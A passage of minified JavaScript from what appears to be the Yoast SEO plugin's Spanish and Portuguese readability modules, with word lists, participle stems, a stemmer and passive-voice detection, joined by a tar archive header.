","subrayad","subrogad","subsanad","subscript","subscrit","subseguid","subsidiad","subsistid","substanciad","substantivad","substituid","substraíd","subsumid","subtendid","subtitulad","subutilizad","subvaluad","subvencionad","subvenid","subvertid","subvirad","subyacid","subyugad","succionad","sucedid","sucitad","sucumbid","sudad","suelt","sufijad","sufragad","sufrid","sugerid","sugestionad","suicidad","sujetad","sujuzgad","sulcad","sulfatad","sulfurad","sumad","sumariad","sumergid","sumid","suministrad","supeditad","superad","superimpuest","superpoblad","superpuest","supervalorad","supervenid","supervigilad","supervisad","supervivid","suplantad","suplementad","suplicad","suplid","suprimid","supuest","supurad","suputad","surcad","surcid","surfead","surgid","surtid","suscitad","suscript","suscrit","suspendid","suspirad","sustanciad","sustantivad","sustentad","sustituid","sustraíd","susurrad","sutilizad","suturad","tabicad","tablad","tabletead","tabulad","tachad","tachonad","tacid","tacklead","taclead","taconead","tajad","talad","taladrad","tallad","tambalead","tamboread","tamborilead","tamizad","tamponad","tangad","tanquead","tantead","tañid","tapad","tapead","tapiad","tapiscad","tapizad","taponad","taponead","taquead","taquillad","taracead","tarad","tararead","tardad","tarifad","tarificad","tarjad","tartamudead","tasad","tascad","tatemad","tatuad","taxiad","teatralizad","techad","teclead","tecnificad","tejad","tejid","telefonead","telegrafiad","teleportad","teletrabajad","teletransportad","televisad","telonead","temad","tematizad","temblad","temblequead","temid","temperad","templad","temporizad","tendid","tenid","tensad","tensionad","tentad","teñid","teorizad","tercerizad","terciad","terciarizad","tergiversad","terminad","ternad","terracead","terraformad","terraplenad","territorializad","tertuliad","tesad","testad","testead","testificad","testiguad","testimoniad","textead","texturizad","tictaquead","tijeretead","tildad","timad","timbead","timbrad","timonead","tincad","tintad","tintinead","tinturad","tipad","tipead","tipificad","tipologizad","tirad","tiranizad","tiritad","tironead","tirotead","titilad","titrad","titubad","titubead","titulad","titularizad","tiznad","tocad","togad","toldad","tolerad","tollid","tomad","tongonead","tonificad","tonsurad","tontead","topad","topead","topetad","toquetead","torcid","toread","tormientad","tornad","tornead","torpedead","torrad","torturad","tosid","tostad","totalizad","toxificad","trabad","trabajad","trabucad","traccionad","traducid","traficad","tragad","traicionad","traíd","trajead","trajinad","tramad","tramitad","trampead","trancad","tranquead","tranquilizad","transad","transbordad","transcendid","transcodificad","transcript","transcrit","transcurrid","transfectad","transferid","transfigurad","transformad","transfundid","transgredid","transicionad","transigid","transistorizad","transitad","transladad","transliterad","translocad","translucid","transmigrad","transmitid","transmutad","transparentad","transpirad","transplantad","transportad","transpuest","transtornad","transustanciad","transvasad","transversalizad","tranzad","trapacead","trapalead","trapead","trapichead","traquetead","trasbordad","trascendid","trascript","trascrit","trascurrid","trasegad","trasferid","trasfigurad","trasformad","trasgredid","trashumad","trasladad","traslapad","trasliterad","trasluchad","traslucid","trasmigrad","trasmitid","trasmontad","trasmutad","trasnochad","trasoíd","traspalad","traspapelad","trasparentad","traspasad","traspillad","traspirad","trasplantad","trasportad","traspuest","trasquilad","trastabillad","trastabillead","trastead","trastocad","trastornad","trastrabillad","trastrocad","trasudad","trasuntad","trasvasad","tratad","traumad","traumatizad","travestid","trazad","trebejad","trechad","trefilad","tremid","tremolad","trenad","trenzad","trepad","trepanad","trepidad","triangulad","tribulad","tributad","tricotad","trillad","trinad","trincad","trinchad","triplicad","triptongad","tripulad","triscad","trisecad","tristead","triturad","triunfad","trivializad","trocad","trocead","trolead","trompetead","trompezad","trompicad","tronad","troncad","tronchad","tropezad","tropicalizad","troquelad","trotad","trovad","trozad","trucad","trucidad","trufad","truncad","truquead","tugurizad","tuitead","tullid","tumbad","tumultuad","tunad","tundid","tunead","tunelad","tupid","turbad","turbinad","turboalimentad","turbocargad","turistead","turistificad","turnad","turquead","tusad","tutead","tutelad","twitead","twittead","ubicad","ufanad","ulcerad","ultimad","ultracentrifugad","ultrajad","ululad","uncid","ungid","unid","unificad","uniformad","uniformizad","universalizad","untad","upad","urbanizad","urdid","urgid","uruguayizad","usad","ustedead","usucapid","usufructuad","usurpad","utilizad","vacacionad","vacad","vaciad","vacilad","vacunad","vadead","vagabundead","vagad","vaguead","valid","validad","vallad","valorad","valorizad","valsad","valuad","vampirizad","vanagloriad","vandalizad","vapead","vaporizad","vapulead","varad","varead","variad","vascularizad","vaticinad","vectorizad","vedad","vegetad","vehiculad","vehiculizad","vejad","velad","velarizad","velicad","venadead","vencid","vendad","vendid","vendimiad","venenciad","venerad","vengad","venid","ventad","ventead","ventilad","ventosead","veranead","verbalizad","verberad","verdead","verdeguead","verguead","verificad","versad","versead","versificad","versionad","versionead","vertebrad","verticalizad","vertid","vestid","vetad","vetead","vezad","viabilizad","viajad","viboread","vibrad","vichead","viciad","victimad","victimizad","victoread","videograbad","vidriad","vigilad","vigorizad","vilipendiad","vinculad","vindicad","vinificad","violad","violentad","virad","viralizad","virtualizad","visad","visibilizad","visionad","visitad","vislumbrad","visoriad","vist","visualizad","vitalizad","vitoread","vitrificad","vituperad","vivad","vivaquead","vivenciad","vivid","vivificad","vocalizad","vocead","vociferad","volad","volantead","volatilizad","volcad","volead","voltead","voltejead","vomitad","vosead","votad","voznad","vuelt","vulcanizad","vulgarizad","vulnerad","wasapead","whatsappead","wikificad","xerocopiad","xerografiad","yacid","yantad","yapad","yerad","yermad","yirad","yodurad","yugulad","yuxtapuest","zabordad","zabullid","zafad","zaherid","zamarread","zambullid","zampad","zancadillead","zancajead","zanganead","zanjad","zanquead","zapad","zapatead","zapead","zarandead","zarpad","zascandilead","zigzaguead","zombificad","zonificad","zorread","zozobrad","zumbad","zurcid","zuread","zurrad","zurriad","zurrid","zuzad"],{getWords:Y}=e.languageProcessing;const{precedenceException:Z,directPrecedenceException:$,values:aa}=e.languageProcessing,da=aa.Clause,ea=["ser","soy","eres","es","somos","sois","son","fui","fuiste","fue","fuimos","fuisteis","fueron","era","eras","era","éramos","erais","eran","sería","serías","seríamos","seríais","serían","seré","serás","será","seremos","seréis","serán","seas","sea","seamos","seáis","sean","fuera","fueras","fuéramos","fuerais","fueran","fuese","fueses","fuésemos","fueseis","fuesen","fuere","fueres","fuéremos","fuereis","fueren","sé","sed","siendo","sido"],{createRegexFromArray:ia,getClauses:ra}=e.languageProcessing,sa={Clause:class extends da{constructor(a,d){super(a,d),this._participles=function(a){return Y(a).filter((a=>function(a){return["a","o","as","os"].some((d=>{if(a.length>3&&a.endsWith(d)){const e=a.slice(0,-d.length);return X.includes(e)}}))}(a)))}(this.getClauseText()),this.checkParticiples()}checkParticiples(){const a=this.getClauseText(),d=this.getParticiples().filter((d=>!$(a,d,V)&&!Z(a,d,J)));this.setPassive(d.length>0)}},stopwords:H,auxiliaries:ea,regexes:{auxiliaryRegex:ia(ea),stopCharacterRegex:/([:,])(?=[ \n\r\t'"+\-»«‹›<>])/gi,followingAuxiliaryExceptionRegex:ia(["el","la","los","las","una"])}};function na(a){return ra(a,sa)}const oa=window.lodash,ca=function(a,d="i"){return a.map((a=>function(a,d="i"){return 2===a.length?{reg:new RegExp(a[0],d),repl:a[1]}:3===a.length?{reg:new RegExp(a[0],d),repl1:a[1],repl2:a[2]}:null}(a,d)))};function ta(a,d){if(-1!==a.search(new RegExp(d[0])))return a.replace(new RegExp(d[0]),d[1])}const{buildFormRule:la,createRulesFromArrays:ua,findMatchingEndingInArray:ma}=e.languageProcessing,pa=function(a){return/[aeiouáéíóú]/gi.test(a)},ba=function(a){const d=["á","é","í","ó","ú"],e=["a","e","i","o","u"];for(let i=0;i<d.length;i++)a=a.replace(d[i],e[i]);return a},ga=function(a,d){return!(a.length<d.length)&&a.slice(-d.length)===d},za=function(a,d){const e=[];for(const i in d)ga(a,d[i])&&e.push(d[i]);return e.sort((function(a,d){return d.length-a.length}))[0]||""},fa=function(a,d){for(const e of d)if(e[1].includes(a))return e[0];return null},va=function(a,d){return""!==ma(d,["ano","anos","ana","anas"])?a.endsWith("s")?a.slice(0,a.length-2):a.slice(0,a.length-1):a},ha=function(a,d,e){return!ga(d,"mente")||e.notMenteAdverbs.includes(a)?a:la(a,ua(e.menteToStem))||a},ja=function(a,d,e){return""===ma(d,e.superlativeSuffixes)||e.notSuperlatives.includes(a)?a:la(a,ua(e.superlativeToStem))},qa=function(a,d){if(""===ma(a,["ito","ita","itos","itas","íto","íta","ítos","ítas"])||d.notDiminutives.includes(a))return a;const e=a.endsWith("s")?a.slice(0,a.length-2):a.slice(0,a.length-1);for(const a of d.irregularDiminutives)if(a[1].includes(e))return a[0];return la(a,ua(d.diminutiveToStem))||a},xa=function(a,d){for(const e of d.nouns)if(e.includes(a))return e[0];for(const e of d.adjectives)if(e.includes(a))return e[0];for(const e of d.verbs)if(e.includes(a))return e[0];return null},ya=function(a,d,e,i){const r=ma(e,["ya","ye","yan","yen","yeron","yendo","yo","yó","yas","yes","yais","yamos"]);if(""!==r&&"u"===a.slice(-r.length-1,-r.length)&&(a=a.slice(0,-r.length)),a!==d&&(e=a.slice(i)),a===d){const d=ma(e,["arían","arías","arán","arás","aríais","aría","aréis","aríamos","aremos","ará","aré","erían","erías","erán","erás","eríais","ería","eréis","eríamos","eremos","erá","eré","irían","irías","irán","irás","iríais","iría","iréis","iríamos","iremos","irá","iré","aba","ada","ida","ía","ara","iera","ad","ed","id","ase","iese","aste","iste","an","aban","ían","aran","ieran","asen","iesen","aron","ieron","ado","ido","ando","iendo","ió","ar","er","ir","as","abas","adas","idas","ías","aras","ieras","ases","ieses","ís","áis","abais","íais","arais","ierais","  aseis","ieseis","asteis","isteis","ados","idos","amos","ábamos","íamos","imos","áramos","iéramos","iésemos","ásemos"]),i=ma(e,["en","es","éis","emos"]);""!==d?a=a.slice(0,-d.length):""!==i&&(a=a.slice(0,-i.length),ga(a,"gu")&&(a=a.slice(0,-1)))}return a},wa=function(a){let d=a.length,e=a.length,i=a.length;for(let e=0;e<a.length-1&&d===a.length;e++)pa(a[e])&&!pa(a[e+1])&&(d=e+2);for(let i=d;i<a.length-1&&e===a.length;i++)pa(a[i])&&!pa(a[i+1])&&(e=i+2);return a.length>3&&(i=pa(a[1])?pa(a[0])&&pa(a[1])?function(a,d){const e=a.length;for(let d=2;d<e;d++)if(!pa(a[d]))return d;return e}(a)+1:3:function(a,d){const e=a.length;for(let d=2;d<e;d++)if(pa(a[d]))return d;return e}(a)+1),[d,e,i]},ka=function(a,d,e){const i=["iéndo","ándo","ár","ér","ír"],r=["iendo","ando","ar","er","ir"],s=ma(a,["me","se","sela","selo","selas","selos","la","le","lo","las","les","los","nos"]);if(""!==s&&!e.wordsThatLookLikeButAreNot.notVerbsEndingInPersonalPronouns.includes(a)){let e=ma(d.slice(0,-s.length),i);""===e?(e=ma(d.slice(0,-s.length),r),(""!==e||ga(a.slice(0,-s.length),"uyendo"))&&(a=a.slice(0,-s.length))):a=ba(a.slice(0,-s.length))}return a},Sa=function(a,d){const e=ma(d,["anza","anzas","ico","ica","icos","icas","ismo","ismos","able","ables","ible","ibles","ista","istas","oso","osa","osos","osas","amiento","amientos","imiento","imientos"]),i=ma(d,["icadora","icador","icación","icadoras","icadores","icaciones","icante","icantes","icancia","icancias","adora","ador","ación","adoras","adores","aciones","ante","antes","ancia","ancias"]),r=ma(d,["logía","logías"]),s=ma(d,["ución","uciones"]),n=ma(d,["encia","encias"]),o=ma(d,["abilidad","abilidades","icidad","icidades","ividad","ividades","idad","idades"]),c=ma(d,["ativa","ativo","ativas","ativos","iva","ivo","ivas","ivos"]);return""!==e?a=a.slice(0,-e.length):""!==i?a=a.slice(0,-i.length):""!==r?a=a.slice(0,-r.length)+"log":""!==s?a=a.slice(0,-s.length)+"u":""!==n?a=a.slice(0,-n.length)+"ente":""!==o?a=a.slice(0,-o.length):""!==c&&(a=a.slice(0,-c.length)),a},Pa=function(a,d,e){const i=za(d,["os","a","o","á","í","ó"]);return""!==i?a=a.slice(0,-i.length):""!==za(d,["e","é"])&&(d=(a=a.slice(0,-1)).slice(e),ga(d,"u")&&ga(a,"gu")&&(a=a.slice(0,-1))),a};const{baseStemmer:Ta}=e.languageProcessing;function Oa(a){const d=(0,oa.get)(a.getData("morphology"),"es",!1);return d?a=>function(a,d){a.toLowerCase();const e=fa(a,d.exceptionStemsWithFullForms);if(e)return e;if(d.wordsThatLookLikeButAreNot.nonPluralsOnS.includes(a))return ba(a);if(a.length<2)return ba(a);const[i,r,s]=wa(a);let n=a.slice(i),o=a.slice(r),c=a.slice(s);const t=a,l=va(a,n);if(l!==a)return ba(l);(a=ka(a,c,d))!==t&&(n=a.slice(i),o=a.slice(r),c=a.slice(s));const u=a;a=Sa(a,o);const m=ha(a,n,d.menteStemming);if(m!==a)return ba(m);const p=ja(a,n,d.superlativesStemming);if(p!==a)return ba(p);const b=qa(a,d.diminutivesStemming);if(b!==a)return ba(b);a!==u&&(c=a.slice(s));const g=a;let z=!1;const f=d.wordsThatLookLikeButAreNot.notVerbForms;if(u===g){let d=a;a.endsWith("s")&&(d=a.slice(0,-1)),f.includes(d)?(a=d,z=!0):a=ya(a,g,c,s)}c=a.slice(s),a=Pa(a,c,s);const v=xa(a,d.stemsThatBelongToOneWord);if(v)return v;if(!z){const e=function(a,d){const e=d.verbStemModifications,i=ta(a,e.quToC);if(i)return ta(i,e.ueToOSimple)||i;const r=function(a,d){if(d.includes(null))return a;for(let e=0;e<d.length;e++)if(!0===d[e].reg.test(a))return a.replace(d[e].reg,d[e].repl)}(a,ca([...e.stemModifications,e.ueToO]));return r||null}(a,d);if(e)return e}return ba(a)}(a,d):Ta}const{formatNumber:Wa}=e.helpers;function Ra(a){const d=206.84-1.02*a.numberOfWords/a.numberOfSentences-.6*a.syllablesPer100Words;return Wa(d)}const{AbstractResearcher:Ea}=e.languageProcessing;class Ca extends Ea{constructor(a){super(a),Object.assign(this.config,{language:"es",passiveConstructionType:"periphrastic",firstWordExceptions:i,functionWords:G,stopWords:H,transitionWords:s,twoPartTransitionWords:K,syllables:Q,sentenceLength:U}),Object.assign(this.helpers,{getClauses:na,getStemmer:Oa,fleschReadingScore:Ra})}}(window.yoast=window.yoast||{}).Researcher=d})();wordpress-seo/js/dist/languages/pt.js000064400000173364147510273070013712 0ustar00(()=>{"use strict";var a={d:(d,e)=>{for(var i in e)a.o(e,i)&&!a.o(d,i)&&Object.defineProperty(d,i,{enumerable:!0,get:e[i]})},o:(a,d)=>Object.prototype.hasOwnProperty.call(a,d),r:a=>{"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(a,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(a,"__esModule",{value:!0})}},d={};a.r(d),a.d(d,{default:()=>pa});const e=window.yoast.analysis,i=["o","a","os","as","um","uma","uns","umas","um","dois","três","quatro","cinco","seis","sete","oito","nove","dez","este","estes","esta","estas","esse","esses","essa","essas","aquele","aqueles","aquela","aquelas","isto","isso","aquilo"],r=["ademais","afinal","aliás","analogamente","anteriormente","assim","atualmente","certamente","conforme","conquanto","contudo","decerto","embora","enfim","enquanto","então","entretanto","eventualmente","igualmente","inegavelmente","inesperadamente","mas","ocasionalmente","outrossim","pois","porquanto","porque","portanto","posteriormente","precipuamente","primeiramente","primordialmente","principalmente","salvo","semelhantemente","similarmente","sobretudo","surpreendentemente","todavia","logo","inclusive"],s=r.concat(["a fim de","a fim de que","a menos que","a princípio","a saber","acima de tudo","ainda assim","ainda mais","ainda que","além disso","antes de mais nada","antes de tudo","antes que","ao mesmo tempo","ao passo que","ao propósito","apesar de","apesar disso","às vezes","assim como","assim que","assim sendo","assim também","bem como","com a finalidade de","com efeito","com o fim de","com o intuito de","com o propósito de","com toda a certeza","como resultado","como se","da mesma forma","de acordo com","de conformidade com","de fato","de maneira idêntica","de tal forma que","de tal sorte que","depois que","desde que","dessa forma","dessa maneira","desse modo","do mesmo modo","é provável","em conclusão","em contrapartida","em contraste com","em outras palavras","em primeiro lugar","em princípio","em resumo","em seguida","em segundo lugar","em síntese","em suma","em terceiro lugar","em virtude de","finalmente","isto é","já que","juntamente com","logo após","logo depois","logo que","mesmo que","não apenas","nesse hiato","nesse ínterim","nesse meio tempo","nesse sentido","no entanto","no momento em que","ou por outra","ou seja","para que","pelo contrário","por analogia","por causa de","por certo","por conseguinte","por consequência","por conseqüência","porém","por exemplo","por fim","por isso","por mais que","por menos que","por outro lado","por vezes","posto que","se acaso","se bem que","seja como for","sem dúvida","sempre que","só para exemplificar","só para ilustrar","só que","sob o mesmo ponto de vista","talvez provavelmente","tanto quanto","todas as vezes que","todas as vezes em que","uma vez que","visto que","de repente","nada obstante","não obstante","de qualquer forma","diga-se de passagem","de qualquer jeito","de vez em quando","aos poucos","claro que","no geral","em geral","geralmente","subitamente","a despeito de","em razão de","em razão disso","razão pela qual","por essa razão","por motivo de","devido a","em todo o caso","de qualquer maneira","de todo modo","de todo a modo","de qualquer modo","de forma que","de modo que","de tempos em tempos","daí em diante"," daí por diante","de hoje em diante","a partir de agora","de agora em diante"]);function o(a){let d=a;return a.forEach((e=>{(e=e.split("-")).length>0&&e.filter((d=>!a.includes(d))).length>0&&(d=d.concat(e))})),d}const t=["o","a","os","as","um","uns","uma","umas"],n=["uma","duas","dois","três","cuatro","cinco","seis","sete","oito","nove","dez","onze","doze","treze","quatorze","catorze","quinze","dezesseis","dezessete","dezasseis","dezassete","dezoito","dezenove","dezanove","vinte","cem","cento","mil","milhão","milhões","bilhão","bilhões"],c=["primeiro","primeiros","primeira","primeiras","segundo","segunda","segundos","segundas","terceiro","terceira","terceiros","terceiras","quarto","quartos","quarta","quartas","quinto","quintos","quinta","quintas","sexto","sextos","sexta","sextas","sétimo","sétimos","sétima","sétimas","oitavo","oitavos","oitava","oitavas","nono","nonos","nona","nonas","décimo","décimos","décima","décimas","vigésimo","vigésimos","vigésima","vigésimas"],l=["eu","tu","ele","ela","nós","vós","você","vocês","eles","elas"],u=["me","te","lhe","nos","vos","lhes"],m=["dele","dela","deles","delas","nele","nela","neles","nelas","mim","ti","si"],p=["conmigo","contigo","consigo","convosco","conosco","connosco"],g=["se"],f=["aquilo","àquele","àquela","àqueles","àquelas","àquilo","este","estes","esta","estas","àqueles","aqueles","aquele","aquela","aquelas","aquilo","esse","esses","essa","essas","isto","isso"],v=["minhas","tuas","suas","minha","tua","sua","minhas","tuas","suas","vossa","vossas","meu","meus","teu","teus","seu","seus","nosso","nossos","nossa","nossas"],b=["apenas","vário","vários","vária","várias","mais","muito","muitos","muita","muitas","puoco","puocos","puoca","puocas","bastante","todo","todos","toda","todas"],h=["alguma","algumas","nenhuns","nenhumas","todo","toda","todas","outro","outra","outros","outras","qualquer","quaisquer","outrem","tudo","nada","algo","tanto","tanta","tantos","tantas","quanto","quanta","quantos","quantas","ninguém","cada"],z=["quais","qual","quem","cujo","cuja","cujos","cujas"],q=["como","porque","quanto","quanta","onde","quando","quão","quantos","quantas","donde","aonde","que"],j=["cá","além","aqui","ali","lá","acolá","aí"],x=["tenho","tens","tem","temos","tendes","têm","tive","tiveste","teve","tivemos","tivestes","tiveram","tínhamos","tínheis","tinham","tivera","tiveras","tivéramos","tivéreis","tiveram","terei","terás","terá","teremos","tereis","terão","teria","terias","teríamos","teríeis","teriam","tenha","tenhas","tenhamos","tenhais","tenham","tivesse","tivesses","tivéssemos","tivésseis","tivessem","tiver","tiveres","tivermos","tiverdes","tiverem","tende","teres","termos","terdes","terem","tido","hei","hás","há","havemos","hemos","haveis","heis","hão","houve","houveste","houvemos","houvestes","houveram","havia","havias","havíamos","havíeis","haviam","houvera","houveras","houvéramos","houvéreis","houveram","haverei","haverás","haverá","haveremos","havereis","haverão","haveria","haverias","haveríamos","haveríeis","haveriam","haja","hajas","hajamos","hajais","hajam","houvesse","houvesses","houvéssemos","houvésseis","houvessem","houver","houveres","houvermos","houverdes","houverem","havei","hajais","haveres","havermos","haverdes","haverem","havido","poder","posso","podes","pode","podemos","podeis","podem","pude","pudeste","pôde","pudemos","pudestes","puderam","podia","podias","podia","podíamos","podíeis","podiam","pudera","puderas","pudéramos","pudéreis","puderam","poderei","poderás","poderá","poderemos","podereis","poderão","poderia","poderias","poderíamos","poderíeis","poderiam","possa","possas","possamos","possais","possam","pudesse","pudesses","pudéssemos","pudésseis","pudessem","puder","puderes","pudermos","puderdes","puderem"],y=["ter","haver"],w=["sou","és","é","somos","sois","são","fui","foste","foi","fomos","fostes","foram","era","eras","éramos","éreis","eram","fôramos","fôreis","fora","foras","foram","serei","serás","será","seremos","sereis","serão","seria","serias","seríamos","seríeis","seriam","seja","sejas","seja","sejamos","sejais","sejam","fosse","fosses","fôssemos","fôsseis","fossem","for","fores","formos","fordes","forem","sê","sede","sermos","serdes","serem","seres","sido","estou","está","estamos","estás","estás","estais","estão","estive","estiveste","esteve","estivemos","estivestes","estiveram","estava","estavas","estávamos","estáveis","estavam","estivera","estiveras","estivéramos","estivéreis","estiveram","estarei","estarás","estará","estaremos","estareis","estarão","estaria","estarias","estaríamos","estaríeis","estariam","esteja","estejas","estejamos","estejais","estejam","estivesse","estivesses","estivéssemos","estivésseis","estivessem","estiver","estiveres","estivermos","estiverdes","estiverem","estai","estejas","estejais","estares","estarmos","estardes","estarem","estado"],S=["estar","ser"],C=["a","ante","antes","após","até","através","com","contra","depois","desde","sem","entre","para","pra","perante","sob","sobre","trás","de","por","em","ao","à","aos","às","do","da","dos","das","dum","duma","duns","dumas","no","na","nos","nas","num","numa","nuns","numas","pelo","pela","pelos","pelas","deste","desse","daquele","desta","dessa","daquela","destes","desses","daqueles","destas","dessas","daquelas","neste","nesse","naquele","nesta","nessa","naquela","nestes","nesses","naqueles","nestas","nessas","naquelas","disto","disso","daquilo","nisto","nisso","naquilo","durante"],P=["também","e","ou","nem"],W=["agora","conforme","conquanto","contanto","embora","enquanto","então","entretanto","malgrado","mas","pois","porém","porquanto","porque","senão","contudo"],k=["diz","dizem","disse","disseram","dizia","diziam","reivindica","reivindicam","reivindicou","reivindicaram","reivindicava","reivindicavam","requer","requerem","requereu","requereram","requeria","requeriam","afirma","afirmam","afirmou","afirmaram","afirmava","afirmavam","reivindica","reivindicam","reivindicou","reivindicaram","reivindicava","reivindicavam","perguntam","perguntou","perguntaram","perguntava","perguntavam","explica","explicam","explicou","explicaram","explicava","explicavam","relata","relatam","relatou","relataram"],T=["provavelmente","imediatamente","ocasionalmente","indubitavelmente","para","possivelmente","logo","simultaneamente","exceto","inquestionavelmente"],O=["extremamente","bem","completamente","totalmente","grandemente","seriamente","absolutamente","bastante","sobremodo","sobremaneira","tão"],E=["dou","dás","dá","damos","dais","dão","dei","deu","demos","deram","dava","davas","dávamos","dáveis","davam","dera","deras","déramos","déreis","deram","darei","darás","dará","daremos","dareis","darão","daria","darias","daríamos","daríeis","dariam","dê","dês","dêmos","deis","deem","déssemos","désseis","dessem","der","deres","dermos","derdes","derem","dai","deis","dares","darmos","dardes","darem","fazendo","faço","fazes","faz","fazemos","fazeis","fazem","fiz","fizeste","fez","fizemos","fizestes","fizeram","fazia","fazias","fazíamos","fazíeis","faziam","fizera","fizeras","fizéramos","fizéreis","farei","farás","fará","faremos","fareis","faria","farias","faríamos","faríeis","fariam","faça","faças","façamos","façais","façam","fizesse","fizesses","fizéssemos","fizésseis","fizessem","fizer","fizeres","fizermos","fizerdes","fizerem","fazei","fazeres","fazermos","fazerdes","fazerem"],M=["dar","fazer"],R=["devagar","rapidamente","grande","grandes","depressa","claramente","effectivamente","realmente","exclusivamente","simplesemente","somente","unicamente","lentamente","raramente","certamente","talvez","actualmente","dificilmente","principalmente","gerlamente","enorme","enormes","pequeno","pequena","pequenos","pequenas","minúsculo","minúsculos","minúscula","minúsculas","velho","velhos","velha","velhas","lindo","linda","lindos","lindas","alto","alta","altos","altas","baixo","baixa","baixos","baixas","longo","longa","longos","longas","curto","curta","curtos","curtas","fácil","fáceis","difícil","difíceis","simples","mesmo","mesma","mesmos","mesmas","mêsmo","mêsmos","mêsma","mêsmas","cedo","tarde","importante","importantes","capaz","capazes","certo","certa","certos","certas","usual","usuals","ultimamente","possível","possíveis","comum","comuns","freqüentemente","constantemente","continuamente","diretamente","levemente","algures","semelhante","semelhantes","similar","similares","sempre","ainda","já","atrás","depois"],A=["pior","melhor","melhores","bom","boa","bons","boas","bonito","bonita","bonitos","bonitas","grande","grandes","pequeno","pequena","pequenos","pequenas","velho","velhos","velha","velhas","mau","má","maus","más"],I=["ai","ah","ih","alô","oi","olá","ui","uf","psiu","mau","olha","viva","uau","wow","oh","shi"],L=["kg","mg","gr","g","km","m","l","ml","cl"],_=["segundos","minuto","minutos","hora","horas","dia","dias","semana","semanas","mes","meses","ano","anos","hoje","amanhã","ontem"],N=["caso","casos","coisa","coisas","detalhe","detalhes","forma","formas","jeito","jeitos","maneira","maneiras","modo","modos","suijeto","sujeitos","tópico","tópicos","vez","vezes"],U=["sim","não","ok","amém","etc","euro","euros","adeus","jeitos"],V=["sr","sra","sras","dr","dra","prof"],D=(o(R),o([].concat(c,y,S,M,A)),o([].concat(t,C,P,f,O,b,v)),o([].concat(r,n,l,u,m,p,g,h,z,q,j,x,w,W,k,T,E,I,L,_,N,U,V)),o([].concat(t,C,u,v,h,q,n,c,E,M,k))),F=o([].concat(t,n,c,l,u,m,p,g,f,v,b,h,z,q,j,x,y,w,S,C,P,W,k,T,O,E,M,R,A,I,L,_,N,U,V)),G=["que ","como","e","nem","se","caso","conforme","consoante","porque","pois","segundo ","enquanto","embora","conquanto","quanto menos","quanto mais","quando","mal ","apenas","ora","seja","quer","já","logo","portanto","por isso","pois","рог conseguinte","ou seja ","isto é","quer dizer","a saber","ou melhor","mas","também","sim","porém","contudo","senão","todavia","mas ainda","no entanto","entretanto"],J=[["não apenas","como também"],["não só","bem como"],["não só","como também"],["não só","mas também"],["ora","ora"],["ou","ou"],["quer","quer"]],$=JSON.parse('{"vowels":"aeiouáéíóúàâêôãõü","deviations":{"vowels":[{"fragments":["(gu|qu)[aeoáéíóúêã]"],"countModifier":-1},{"fragments":["[^(g|q|a)][aeiou][aeo]$"],"countModifier":-1},{"fragments":["[aeiouáéíóúàâêôü][aeo]","[aeiou][íúáéóãê]"],"countModifier":1},{"fragments":["aí[ae]"],"countModifier":1}],"words":{"full":[{"word":"delegacia","syllables":5},{"word":"democracia","syllables":5},{"word":"parceria","syllables":4},{"word":"secretaria","syllables":5}],"fragments":[]}}}'),B={recommendedLength:25},H=["ab-rogad","abrogad","abacharelad","abacinad","abafad","abainhad","abaixad","abalad","abalienad","abalroad","abanad","abandad","abandonad","abarbad","abarcad","abarregad","abarrotad","abastardad","abastecid","abatid","abdicad","abduzid","abençoad","aberrad","abert","abespinhad","abestad","abirritad","abismad","abjurad","ablaquead","ablegad","abluíd","abnegad","abobadad","abobad","abocanhad","abolid","abominad","abordad","abortad","abotoad","abraçad","abrandad","abrangid","abrasad","abrasileirad","abreviad","abrigad","abroquelad","abscedid","abscindid","absolutizad","absolvid","absort","absorvid","abstid","abstraíd","abundad","abusad","acabad","acabrunhad","açacalad","academizad","acalentad","acalmad","acamad","acampad","acaramelad","acarditad","acariciad","acarretad","acartad","acastelad","acatad","acautelad","accentuad","acclarad","accolhid","accordad","accreditad","accusad","acedid","aceitad","acelerad","acenad","acendid","acentuad","acerad","acerbad","acercad","acertad","acervad","acessad","acetificad","achad","achanad","achaparrad","achatad","achegad","acicatad","acidificad","acidulad","acinzentad","acionad","acirrad","aclamad","aclarad","aclimad","aclimatad","acobardad","acobertad","açodad","acoimad","açoitad","acolchoad","acolhid","acometid","acomodad","acompanhad","acompridad","aconchegad","acondicionad","aconselhad","acontecid","acoplad","acordad","acorrentad","acortinad","acostad","acostumad","açoutad","acovardad","acreditad","acrescentad","acrescid","acromatizad","activad","actuad","actualizad","açucarad","acudid","açulad","acuminad","acumulad","acusad","adaptad","adelgaçad","adentrad","adequad","aderid","adestrad","adherid","adiad","adiantad","adicionad","adid","aditad","adivinhad","adjetivad","adjudicad","administrad","admirad","admitid","admoestad","adoçad","adocicad","adoecid","adoptad","adorad","adormecid","adornad","adotad","adquirid","adsorvid","adulad","adulterad","aduzid","advertid","advind","advocad","aerad","afadigad","afagad","afamad","afastad","afazendad","afectad","afeiçoad","afeit","aferventad","afetad","afiad","afiançad","afigurad","afilad","afiliad","afinad","afirmad","afivelad","afixad","afligid","aflorad","afluíd","afobad","afogad","afrancesad","afrontad","afrouxad","afugentad","afundad","afundid","agachad","agaload","agarrad","agasalhad","agastad","agendad","agid","agilizad","agitad","aglomerad","aglutinad","agoirad","agoirentad","agoniad","agonizad","agourad","agourentad","agraciad","agradad","agradecid","agrafad","agravad","agredid","agregad","agrilhoad","agrupad","aguad","aguardad","aguçad","aguentad","agüentad","aguilhoad","aguisad","airad","ajeitad","ajoelhad","ajudad","ajuizad","ajuntad","ajustad","alad","alagad","alambicad","alapad","alardead","alargad","alarmad","alastrad","albergad","alçad","alcaguetad","alcalinizad","alcançad","alcatroad","alcoolizad","alcovitad","alcunhad","aleatorizad","alegad","alegorizad","alegrad","aleitad","alentad","alertad","alevantad","alfabetizad","alforriad","algemad","alhead","aliad","alicatead","alicerçad","aliciad","alienad","aligeirad","alijad","alimentad","alinhad","alisad","alistad","aliviad","almejad","almoçad","almoedad","alocad","aloirad","alojad","alongad","alourad","altead","alterad","altercad","alternad","alucinad","aludid","alugad","alumiad","alunad","alunissad","aluviad","alvejad","alvoroçad","alvorotad","amaciad","amad","amadurecid","amainad","amaldiçoad","amalgamad","amamentad","amancebad","amanhad","amanhecid","amansad","amanteigad","amarrad","amassad","amaynad","ameaçad","amead","amealhad","amedorentad","amedrontad","ameigad","amenizad","americanizad","amestrad","amigad","amimad","amnistiad","amofinad","amolad","amolecid","amolentad","amolgad","amontoad","amordaçad","amorenad","amortalhad","amortecid","amortizad","amostrad","amotinad","ampliad","amputad","amuad","amurad